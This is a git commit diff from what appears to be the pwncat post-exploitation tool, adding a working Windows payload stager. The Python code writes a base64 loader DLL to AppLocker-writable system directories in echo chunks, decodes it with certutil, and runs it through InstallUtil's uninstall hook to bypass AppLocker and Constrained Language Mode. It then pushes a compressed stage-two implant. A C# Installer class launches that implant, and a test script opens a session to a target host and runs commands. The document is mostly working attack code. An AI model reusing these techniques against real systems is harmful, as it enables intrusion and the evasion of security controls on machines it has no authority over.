Windows loader and stagetwo working.
This commit is contained in:
parent
d6a7c41487
commit
ca72bf7371
Binary file not shown.
|
@ -4,7 +4,7 @@ using System.Text;
|
|||
using System.Threading;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
class StageTwo
|
||||
public class StageTwo
|
||||
{
|
||||
|
||||
private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004;
|
||||
|
@ -394,15 +394,6 @@ class StageTwo
|
|||
public void powershell()
|
||||
{
|
||||
var command = System.Convert.ToBase64String(System.Text.Encoding.Unicode.GetBytes(ReadUntilLine("# ENDBLOCK")));
|
||||
var startinfo = new System.Diagnostics.ProcessStartInfo()
|
||||
{
|
||||
FileName = "powershell.exe",
|
||||
Arguments = "-noprofile -ep unrestricted -enc " + command,
|
||||
UseShellExecute = false
|
||||
};
|
||||
|
||||
var p = System.Diagnostics.Process.Start(startinfo);
|
||||
p.WaitForExit();
|
||||
}
|
||||
|
||||
public void csharp()
|
||||
|
@ -546,3 +537,15 @@ class StageTwo
|
|||
}
|
||||
}
|
||||
}
|
||||
|
||||
[System.ComponentModel.RunInstaller(true)]
|
||||
public class Sample:System.Configuration.Install.Installer
|
||||
{
|
||||
public override void Uninstall(System.Collections.IDictionary savedState)
|
||||
{
|
||||
base.Uninstall(savedState);
|
||||
|
||||
StageTwo two = new StageTwo();
|
||||
two.main();
|
||||
}
|
||||
}
|
||||
|
|
Binary file not shown.
|
@ -349,8 +349,131 @@ class Windows(Platform):
|
|||
- "/* END CODE BLOCK */"
|
||||
"""
|
||||
|
||||
possible_dirs = [
|
||||
"C:\\Windows\\Tasks",
|
||||
"C:\\Windows\\Temp",
|
||||
"C:\\windows\\tracing",
|
||||
"C:\\Windows\\Registration\\CRMLog",
|
||||
"C:\\Windows\\System32\\FxsTmp",
|
||||
"C:\\Windows\\System32\\com\\dmp",
|
||||
"C:\\Windows\\System32\\Microsoft\\Crypto\\RSA\\MachineKeys",
|
||||
"C:\\Windows\\System32\\spool\\PRINTERS",
|
||||
"C:\\Windows\\System32\\spool\\SERVERS",
|
||||
"C:\\Windows\\System32\\spool\\drivers\\color",
|
||||
"C:\\Windows\\System32\\Tasks\\Microsoft\\Windows\\SyncCenter",
|
||||
"C:\\Windows\\System32\\Tasks_Migrated (after peforming a version upgrade of Windows 10)",
|
||||
"C:\\Windows\\SysWOW64\\FxsTmp",
|
||||
"C:\\Windows\\SysWOW64\\com\\dmp",
|
||||
"C:\\Windows\\SysWOW64\\Tasks\\Microsoft\\Windows\\SyncCenter",
|
||||
"C:\\Windows\\SysWOW64\\Tasks\\Microsoft\\Windows\\PLA\\System",
|
||||
]
|
||||
chunk_sz = 1900
|
||||
|
||||
loader_encoded_name = pwncat.util.random_string()
|
||||
|
||||
# Read the loader
|
||||
with open(
|
||||
pkg_resources.resource_filename("pwncat", "data/loader.dll"), "rb"
|
||||
) as filp:
|
||||
loader_dll = base64.b64encode(filp.read())
|
||||
|
||||
# Extract first chunk
|
||||
chunk = loader_dll[0:chunk_sz].decode("utf-8")
|
||||
good_dir = None
|
||||
loader_remote_path = None
|
||||
|
||||
self.channel.recvuntil(b">")
|
||||
|
||||
# Find available file by trying to write first chunk
|
||||
for possible in possible_dirs:
|
||||
loader_remote_path = pathlib.PureWindowsPath(possible) / loader_encoded_name
|
||||
good_dir = possible
|
||||
self.channel.send(
|
||||
f"""echo {chunk} >"{str(loader_remote_path)}"\n""".encode("utf-8")
|
||||
)
|
||||
self.channel.recvline()
|
||||
result = self.channel.recvuntil(b">")
|
||||
if b"denied" not in result.lower():
|
||||
self.session.manager.log(f"Good path: {possible}")
|
||||
break
|
||||
else:
|
||||
self.session.manager.log(f"Bad path: {possible}")
|
||||
self.session.manager.log(result)
|
||||
raise PlatformError("no writable applocker-safe directories")
|
||||
|
||||
# Write remaining chunks to selected path
|
||||
for c in range(chunk_sz, len(loader_dll), chunk_sz):
|
||||
self.channel.send(
|
||||
f"""echo {loader_dll[c:c+chunk_sz].decode('utf-8')} >>"{str(loader_remote_path)}"\n""".encode(
|
||||
"utf-8"
|
||||
)
|
||||
)
|
||||
self.channel.recvline()
|
||||
self.channel.recvuntil(b">")
|
||||
|
||||
# Decode the base64 to the actual dll
|
||||
self.channel.send(
|
||||
f"""certutil -decode "{str(loader_remote_path)}" "{good_dir}\{loader_encoded_name}.dll"\n""".encode(
|
||||
"utf-8"
|
||||
)
|
||||
)
|
||||
self.channel.recvline()
|
||||
self.channel.recvuntil(b">")
|
||||
|
||||
self.channel.send(f"""del "{str(loader_remote_path)}"\n""".encode("utf-8"))
|
||||
self.channel.recvline()
|
||||
self.channel.recvuntil(b">")
|
||||
|
||||
# Search for all instances of InstallUtil within all installed .Net versions
|
||||
self.channel.send(
|
||||
"""cmd /c "dir C:\Windows\Microsoft.NET\* /s/b | findstr InstallUtil.exe$"\n""".encode(
|
||||
"utf-8"
|
||||
)
|
||||
)
|
||||
self.channel.recvline()
|
||||
|
||||
# Select the newest version
|
||||
result = self.channel.recvuntil(b">").decode("utf-8")
|
||||
install_utils = [
|
||||
x.rstrip("\r") for x in result.split("\n") if x.rstrip("\r") != ""
|
||||
][-2]
|
||||
|
||||
# Note whether this is 64-bit or not
|
||||
is_64 = "\\Framework64\\" in install_utils
|
||||
|
||||
self.session.manager.log(f"Selected Install Utils: {install_utils}")
|
||||
|
||||
install_utils = install_utils.replace(" ", "\\ ")
|
||||
|
||||
# Execute Install-Util to bypass AppLocker/CLM
|
||||
self.channel.send(
|
||||
f"""{install_utils} /logfile= /LogToConsole=false /U "{good_dir}\{loader_encoded_name}.dll"\n""".encode(
|
||||
"utf-8"
|
||||
)
|
||||
)
|
||||
|
||||
# Wait for loader to
|
||||
self.channel.recvuntil(b"READY")
|
||||
self.channel.recvuntil(b"\n")
|
||||
|
||||
# Send stagetwo
|
||||
with open(
|
||||
pkg_resources.resource_filename("pwncat", "data/stagetwo.dll"), "rb"
|
||||
) as filp:
|
||||
stagetwo_dll = filp.read()
|
||||
compressed = BytesIO()
|
||||
with gzip.GzipFile(fileobj=compressed, mode="wb") as gz:
|
||||
gz.write(stagetwo_dll)
|
||||
encoded = base64.b64encode(compressed.getvalue())
|
||||
|
||||
self.channel.sendline(encoded)
|
||||
self.channel.recvuntil(b"READY")
|
||||
self.channel.recvuntil(b"\n")
|
||||
|
||||
return
|
||||
|
||||
# Read stage two source code
|
||||
stage_two_path = pkg_resources.resource_filename("pwncat", "data/stagetwo.cs")
|
||||
stage_two_path = pkg_resources.resource_filename("pwncat", "data/loader.dll")
|
||||
with open(stage_two_path, "rb") as filp:
|
||||
source = filp.read()
|
||||
|
||||
|
@ -580,6 +703,8 @@ class Windows(Platform):
|
|||
self.channel.send(f"open\n{str(path)}\nmode\n".encode("utf-8"))
|
||||
result = self.channel.recvuntil(b"\n").strip()
|
||||
|
||||
self.session.log(result)
|
||||
|
||||
try:
|
||||
handle = int(result)
|
||||
except ValueError:
|
||||
|
|
26
test.py
26
test.py
|
@ -11,17 +11,17 @@ manager = pwncat.manager.Manager("data/pwncatrc")
|
|||
# Establish a session
|
||||
session = manager.create_session("windows", host="192.168.122.11", port=4444)
|
||||
|
||||
manager.interactive()
|
||||
|
||||
# hosts = (
|
||||
# session.platform.Path("C:\\") / "Windows" / "System32" / "drivers" / "etc" / "hosts"
|
||||
# )
|
||||
# with hosts.open() as filp:
|
||||
# manager.log("Read etc hosts:")
|
||||
# manager.log(filp.read())
|
||||
#
|
||||
# p = session.platform.Popen(["whoami.exe"], stdout=subprocess.PIPE, text=True)
|
||||
# manager.log(f"Current user: {p.communicate()[0].strip()}")
|
||||
# manager.log(f"Process Exit Status: {p.returncode}")
|
||||
#
|
||||
# manager.interactive()
|
||||
|
||||
hosts = (
|
||||
session.platform.Path("C:\\") / "Windows" / "System32" / "drivers" / "etc" / "hosts"
|
||||
)
|
||||
with hosts.open() as filp:
|
||||
manager.log("Read etc hosts:")
|
||||
manager.log(filp.read())
|
||||
|
||||
p = session.platform.Popen(["whoami.exe"], stdout=subprocess.PIPE, text=True)
|
||||
manager.log(f"Current user: {p.communicate()[0].strip()}")
|
||||
manager.log(f"Process Exit Status: {p.returncode}")
|
||||
|
||||
manager.interactive()
|
||||
|
|
Loading…
Reference in New Issue